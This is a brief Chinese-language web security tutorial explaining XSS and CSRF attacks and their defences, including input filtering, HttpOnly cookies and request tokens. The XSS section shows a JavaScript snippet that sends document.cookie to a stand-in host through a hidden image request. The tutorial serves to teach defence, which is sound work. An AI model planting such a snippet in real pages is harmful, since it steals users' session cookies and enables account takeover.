1 XSS攻击(跨站脚本攻击 Cross Site Scripting)
XSS指攻击者添加代码嵌入到页面中,使用户访问时都会执行相应的嵌入代码,从而盗取用户资料、利用用户身份进行一系列侵害操作。(利用虚假输入表单骗取用户个人信息盗取账号等)
解决办法:客户端提交的数据先进行相应的过滤处理后再进行下一步的操作。
最常见 xss 攻击是读取 Cookie(来访问用户的账号)
var img = document.createElement('img')
img.src='http://www.xss.com?cookie=' + document.cookie
img.style.display='none'
document.getElementsByTagName('body')[0].appendChild(img)
防御: httpOnly (在服务端文件设置: cookie 中设置 HttpOnly 属性后,js脚本将无法读取到 cookie 信息)
2 CSRF(跨站请求伪造 Cross-site request forgery)
冒充用户发起请求,完成一些违背用户意愿的事情(如删初评论,转账等等)。
原理就是攻击者伪造请求并诱导用户点击,然后将伪造的请求和用户身份认证信息发送到后端。如果用户是在登录状态下的话,后端就以为是用户在操作,从而进行相应的逻辑处理。
完成一次CSRF攻击,受害者必须依次完成两个步骤:
1 登录受信任的网站,并生成Cookie
2 在不登出信任网站的情况下,访问危险网站
防御
(1)不让第三方网站访问Cookie,阻止第三方网站请求接口
(2)请求时附带验证信息(比如验证码或者Token)